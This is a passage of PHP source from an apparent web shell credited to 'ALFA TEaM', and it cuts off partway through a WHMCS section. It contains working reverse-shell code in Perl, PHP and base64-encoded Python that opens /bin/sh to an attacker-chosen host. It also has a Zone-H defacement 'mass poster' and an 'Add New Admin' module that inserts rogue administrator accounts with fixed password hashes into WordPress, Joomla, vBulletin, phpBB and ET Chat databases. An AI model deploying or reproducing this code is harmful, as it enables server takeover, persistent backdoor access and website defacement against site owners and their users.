$back_connect_py="IyEvdXNyL2Jpbi9weXRob24NCg0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KDQpob3N0ID0gc3lzLmFyZ3ZbMV0NCnBvcnQgPSBpbnQoc3lzLmFyZ3ZbMl0pDQoNCnNvY2tldC5zZXRkZWZhdWx0dGltZW91dCg2MCkNCg0KZGVmIGJjKCk6DQogIHRyeToNCiAgICBzb2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkNCiAgICBzb2suY29ubmVjdCgoaG9zdCxwb3J0KSkNCiAgICBzb2suc2VuZCgnJydzb2xldmlzaWJsZUBnbWFpbC5jb21cblxuJycnKQ0KICAgIG9zLmR1cDIoc29rLmZpbGVubygpLDApDQogICAgb3MuZHVwMihzb2suZmlsZW5vKCksMSkNCiAgICBvcy5kdXAyKHNvay5maWxlbm8oKSwyKQ0KICAgIG9zLmR1cDIoc29rLmZpbGVubygpLDMpDQogICAgc2hlbGwgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkNCiAgZXhjZXB0IHNvY2tldC50aW1lb3V0Og0KICAgIHByaW50ICJbIV0gQ29ubmVjdGlvbiB0aW1lZCBvdXQiDQogIGV4Y2VwdCBzb2NrZXQuZXJyb3IsIGU6DQogICAgcHJpbnQgIlshXSBFcnJvciB3aGlsZSBjb25uZWN0aW5nIiwgZQ0KICANCmJjKCk=";
echo "<div class=header><center><h3><span>| Back Connect |</span></h3>";
echo "<form onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\"><span><font color=\"#00A220\">PERL BACK CONNECT</font><br></span><br><font color=\"#00A220\"><b>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form></b></font>";
echo "<br><form onSubmit=\"g(null,null,\'php\',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT<br></span><br><font color=\"#FFFFFF\"><b>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form><br>";
echo "<br><form onSubmit=\"g(null,null,\'py\',this.server.value,this.port.value);return false;\"><span><font color=\"#FF0000\">PYTHON BACK CONNECT</font><br></span><br><font color=\"#FF0000\"><b>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form></center><br>";
if(isset($_POST[\'alfa1\'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST[\'alfa1\'] == \'bcp\') {
cf("/tmp/bc.pl",$back_connect_p);
$out = alfaEx("perl /tmp/bc.pl ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1 style=\'margin-top:5px\'>Successfully opened reverse shell to ".$_POST[\'alfa2\'].":".$_POST[\'alfa3\']."<br>Connecting...[Perl]</pre>";
@unlink("/tmp/bc.pl");
}
if($_POST[\'alfa1\'] == \'py\') {
cf("/tmp/bc.py",$back_connect_py);
$out = alfaEx("python /tmp/bc.py ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1 style=\'margin-top:5px\'>Successfully opened reverse shell to ".$_POST[\'alfa2\'].":".$_POST[\'alfa3\']."<br>Connecting...[Python]</pre>";
@unlink("/tmp/bc.py");
}
if($_POST[\'alfa1\']==\'php\')
{
@set_time_limit (0);
$ip = $_POST[\'alfa2\'];
$port =$_POST[\'alfa3\'];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = \'uname -a; w; id; /bin/sh -i\';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style=\'margin-top:5px\'>";
if (function_exists(\'pcntl_fork\')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!<br>";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "Error: Can\'t setsid()<br>";
exit(1);
}
$daemon = 1;
} else {
echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
}
chdir(htmlspecialchars($GLOBALS[\'cwd\']));
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can\'t spawn shell<br>";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "Successfully opened reverse shell to $ip:$port [Php]<br>";
while (1) {
if (feof($sock)) {
echo "ERROR: Shell connection terminated<br>";
break;
}
if (feof($pipes[1])) {
echo "ERROR: Shell process terminated<br>";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ<br>";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input<br>";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ<br>";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input<br>";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ<br>";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input<br>";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k,CURLOPT_POST,true);
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
function alfazoneh()
{
alfahead();
echo \'<div class=header>\';
if(!function_exists(\'curl_version\'))
{
echo "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
echo \'
<center><br><b><font color="#FFFF01">==</font> <font color="#00A220">ZONE-H</font> <font color="#FFFFFF">Mass</font> <font color="#FF0000">Poster</font><font color="#FFFF01"> ==</font></b><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,this.go.value); return false;">
<input type="text" name="defacer" size="67" id="text" value="ALFA TEaM 2012" />
<br>
<select id="text" name="hackmode">
<option>------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(F, F, F);" value="1" >known vulnerability (i.e. unpatched system)</option>
<option style="background-color: rgb(F, F, F);" value="2" >undisclosed (new) vulnerability</option>
<option style="background-color: rgb(F, F, F);" value="3" >configuration / admin. mistake</option>
<option style="background-color: rgb(F, F, F);" value="4" >brute force attack</option>
<option style="background-color: rgb(F, F, F);" value="5" >social engineering</option>
<option style="background-color: rgb(F, F, F);" value="6" >Web Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="7" >Web Server external module intrusion</option>
<option style="background-color: rgb(F, F, F);" value="8" >Mail Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="9" >FTP Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="10" >SSH Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="11" >Telnet Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="12" >RPC Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="13" >Shares misconfiguration</option>
<option style="background-color: rgb(F, F, F);" value="14" >Other Server intrusion</option>
<option style="background-color: rgb(F, F, F);" value="15" >SQL Injection</option>
<option style="background-color: rgb(F, F, F);" value="16" >URL Poisoning</option>
<option style="background-color: rgb(F, F, F);" value="17" >File Inclusion</option>
<option style="background-color: rgb(F, F, F);" value="18" >Other Web Application bug</option>
<option style="background-color: rgb(F, F, F);" value="19" >Remote administrative panel access bruteforcing</option>
<option style="background-color: rgb(F, F, F);" value="20" >Remote administrative panel access password guessing</option>
<option style="background-color: rgb(F, F, F);" value="21" >Remote administrative panel access social engineering</option>
<option style="background-color: rgb(F, F, F);" value="22" >Attack against administrator(password stealing/sniffing)</option>
<option style="background-color: rgb(F, F, F);" value="23" >Access credentials through Man In the Middle attack</option>
<option style="background-color: rgb(F, F, F);" value="24" >Remote service password guessing</option>
<option style="background-color: rgb(F, F, F);" value="25" >Remote service password bruteforce</option>
<option style="background-color: rgb(F, F, F);" value="26" >Rerouting after attacking the Firewall</option>
<option style="background-color: rgb(F, F, F);" value="27" >Rerouting after attacking the Router</option>
<option style="background-color: rgb(F, F, F);" value="28" >DNS attack through social engineering</option>
<option style="background-color: rgb(F, F, F);" value="29" >DNS attack through cache poisoning</option>
<option style="background-color: rgb(F, F, F);" value="30" >Not available</option>
<option style="background-color: rgb(F, F, F);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
</select> <br>
<select id="text" name="reason">
<option >------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(F, F, F);" value="1" >Heh...just for fun!</option>
<option style="background-color: rgb(F, F, F);" value="2" >Revenge against that website</option>
<option style="background-color: rgb(F, F, F);" value="3" >Political reasons</option>
<option style="background-color: rgb(F, F, F);" value="4" >As a challenge</option>
<option style="background-color: rgb(F, F, F);" value="5" >I just want to be the best defacer</option>
<option style="background-color: rgb(F, F, F);" value="6" >Patriotism</option>
<option style="background-color: rgb(F, F, F);" value="7" >Not available</option>
option style="background-color: rgb(F, F, F);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<input type="submit" value=">>" name="go"/>
</form></center>\';
if($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'>>\'){
ob_start();
$hacker = $_POST[\'alfa1\'];
$method = $_POST[\'alfa2\'];
$neden = $_POST[\'alfa3\'];
$site = $_POST[\'alfa4\'];
if (empty($hacker))
{
die ("<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}
elseif($method == "------------------------------------SELECT-------------------------------------")
{
die("<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}
elseif($neden == "------------------------------------SELECT-------------------------------------")
{
die("<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}
elseif(empty($site))
{
die("<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http")
{
$sites[$i] = "http://".$sites[$i];
}
ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
++$i;
}
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfateam()
{
alfahead();
echo "<div class=header>";
echo "<pre>
<center><img height=\"300\" width=\"450\" src=\"http://iran.grn.cc/alfa-iran.jpg\">
<font color=\"#FFFF01\">
<br>
<font color=#00A220><b>Shell Coded By Sole Sad & Invisible(ALFA TEaM)Iranian Hackers :)</font><b>special thanks to MadLeets</b></font><br>
<font color=#00A220>Contact : [email protected]<br></font>
<font color=#FFFFFF>Skype : ehsan.invisible</font><br>
<font color=#FFFFFF><b>Skype : sole.sad</b></font><br><b>
<font color=#FF0000><b>Persian Gulf For Ever</b></font><br><b>

</pre></div>";
alfafooter();
}
function alfapwchanger(){
alfahead();
echo \'<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script><center><h3><span>| Add New Admin |</span></h3>
<center><h3>
<a href=# onclick="g(\'pwchanger\',null,\'wp\')">| WordPress | </a>
<a href=# onclick="g(\'pwchanger\',null,null,\'joomla\')">| Joomla | </a>
<a href=# onclick="g(\'pwchanger\',null,null,null,\'etchat\')">| ET CHAT | </a>
<a href=# onclick="g(\'pwchanger\',null,null,null,null,\'vb\')">| vBulletin | </a>
<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,\'phpbb\')">| phpBB | </a>
<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,\'whmcs\')">| whmcs | </a>
<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,null,\'mybb\')">| MyBB | </a>
<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,null,null,\'nuke\')">| Php Nuke | </a>
</h3></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\']== \'wp\'){
echo \'<b><center><script>alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
<center><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">WordPress</font><font color="#FFFF01"> ==</font></b><p>
<FORM onSubmit="g(\'pwchanger\',null,\'wp\',this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">
<table border=1>
<tr><td><font color=#FFFFFF>Host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Database :</td>
<td> <INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Table Prefix :</td>
<td><INPUT size="30" value="wp_" name="prefix" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Password :</td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin Username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password: </td>
<td><INPUT name="kh" size="30" value="solevisible" disabled /></td></tr>
<tr><td><font color=#FF0000>Admin Email:</td>
<td><INPUT name="email" size="30" value="[email protected]"></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM></b>\';
if ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){
$localhost = $_POST[\'alfa3\'];
$database = $_POST[\'alfa4\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'$SQL\')") or die(mysql_error());
$solevisible=@mysql_query("select ID from ".$prefix."users where user_login=\'".$admin."\'") or die(mysql_error());
$sole = mysql_num_rows($solevisible);
if ($sole == 1){
$solevis = mysql_fetch_assoc($solevisible);
$res = $solevis[\'ID\'];
}
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'first_name\',\'solevisible\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'last_name\',\'solevisible\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'nickname\',\'solevisible\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'description\',\'solevisible\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'rich_editing\',\'true\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'comment_shortcuts\',\'false\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'admin_color\',\'fresh\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'use_ssl\',\'0\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'show_admin_bar_front\',\'true\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'wp_capabilities\',\'a:1:{s:13:\"administrator\";b:1;}\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'wp_user_level\',\'10\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'dismissed_wp_pointers\',\'wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'show_welcome_panel\',\'1\')") or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'wp_dashboard_quick_press_last_post_id\',\'3\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> "; }
}
}
if ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'joomla\' ){
echo \'<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
<b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">
<center><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Joomla</font><font color="#FFFF01"> ==</font></b>
<p><table border=1>
<tr><td><font color=#FFFFFF> host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>database: </td>
<td><INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Table Prefix :</td>
<td><INPUT size="30" value="jos_" name="prefix" type="text"></td></tr>
<tr><td><font color=#FFFFFF>username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>password : </td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
<tr><td><font color=#FF0000>Admin Email:</td>
<td> <INPUT name="email" size="30" value="[email protected]"></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM></center></b>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa3\'];
$database = $_POST[\'alfa4\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."users (id,name,username,email,password) values(null,\'Super User\',\'".$admin."\',\'".$SQL."\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysql_error());
$solevisible=@mysql_query("select id from ".$prefix."users where username=\'".$admin."\'") or die(mysql_error());
$sole = mysql_num_rows($solevisible);
if ($sole == 1){
$solevis = mysql_fetch_assoc($solevisible);
$res = $solevis[\'id\'];
}
$solevisible=@mysql_query("INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES (\'".$res."\', \'8\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> "; }
}
}
if ($_POST[\'alfa3\'] && $_POST[\'alfa3\'] == \'etchat\'){
echo \'<script>alfa1_=alfa2_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
<b><center> <FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,\'etchat\',this.database.value,this.username.value,this.password.value,null,this.admin.value,null); return false;" method="POST">
<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Etchat</font><font color="#FFFF01"> ==</font></b>
<p><table border=1>
<tr><td><font color=#FFFFFF> host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>database: </td>
<td><INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>password : </td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM></center></b>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa4\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$solevisible=@mysql_query("insert into db1_etchat_user (etchat_user_id,etchat_username,etchat_userpw,etchat_userprivilegien) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'admin\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> "; }
}
}
if ($_POST[\'alfa4\'] && $_POST[\'alfa4\'] == \'vb\'){
echo \'<script>alfa1_=alfa2_=alfa3_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
<b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">
<center><b><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">vBulletin</font><font color="#FFFF01"> ==</font></b><p> <table border=1>
<tr><td><font color="#FFFFFF">host :</font></td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color="#FFFFFF">database :</font></td>
<td> <INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color="#FFFFFF">username :</font></td>
<td><INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color="#FFFFFF">password :</font></td>
<td><INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color="#FFFFFF">Prefix : </font></td>
<td><INPUT name="prefix" size="30" value="" /></td></tr>
<tr><td><font color="#FF0000">Admin username:</font></td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color="#FF0000">Admin Password : </font></td>
<td><INPUT name="hi" size="30" value="solevisible" disabled/></td></tr>
<tr><td><font color="#FF0000">Admin Email : </font></td>
<td><INPUT name="email" size="30" value="[email protected]"> </td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM>
</b></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$prefix = $_POST[\'alfa7\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$solevisible=@mysql_query("insert into {$prefix}user (userid,usergroupid,username,password,salt,email) values(null,\'6\',\'$admin\',\'52e28b78f55641cd4618ad1a20f5fd5c\',\'Xw|IbGLhTQA-AwApVv>61y^(z]*<QN\',\'$SQL\')") or die(mysql_error());
$solevisible=@mysql_query("select userid from {$prefix}user where username=\'".$admin."\'") or die(mysql_error());
$sole = mysql_num_rows($solevisible);
if ($sole == 1){
$solevis = mysql_fetch_assoc($solevisible);
$res = $solevis[\'userid\'];
}
$solevisible=@mysql_query("insert into {$prefix}administrator (userid,adminpermissions) values(\'".$res."\',\'16744444\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> "; }
}
}
if ($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'phpbb\'){
echo \'<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
<b> <center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">
<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">phpBB</font><font color="#FFFF01"> ==</font></b>
<p><table border=1>
<tr><td><font color=#FFFFFF> host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>database: </td>
<td><INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Table Prefix :</td>
<td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
<tr><td><font color=#FFFFFF>username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>password : </td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
<tr><td><font color=#FF0000>Admin Email:</td>
<td> <INPUT name="email" size="30" value="[email protected]"></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM><center></b>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa6\'];
$pwd = $_POST[\'alfa7\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = md5($pwd);
$solevisible=@mysql_query("UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE username_clean = \'admin\'") or die(mysql_error());
$solevisible=@mysql_query("UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE username_clean = \'admin\'") or die(mysql_error());
$solevisible=@mysql_query("UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE user_type = 3") or die(mysql_error());
$solevisible=@mysql_query("UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE user_type = 3") or die(mysql_error());
$solevisible=@mysql_query("UPDATE ".$prefix."users SET user_email =\'".$SQL."\' WHERE username_clean = \'admin\'") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> ";
}
}
}
if ($_POST[\'alfa6\'] && $_POST[\'alfa6\'] == \'whmcs\'){
echo \'<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
<b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">
<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Whmcs</font><font color="#FFFF01"> ==</font></b>
<p><table border=1>
<tr><td><font color=#FFFFFF> host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>database: </td>
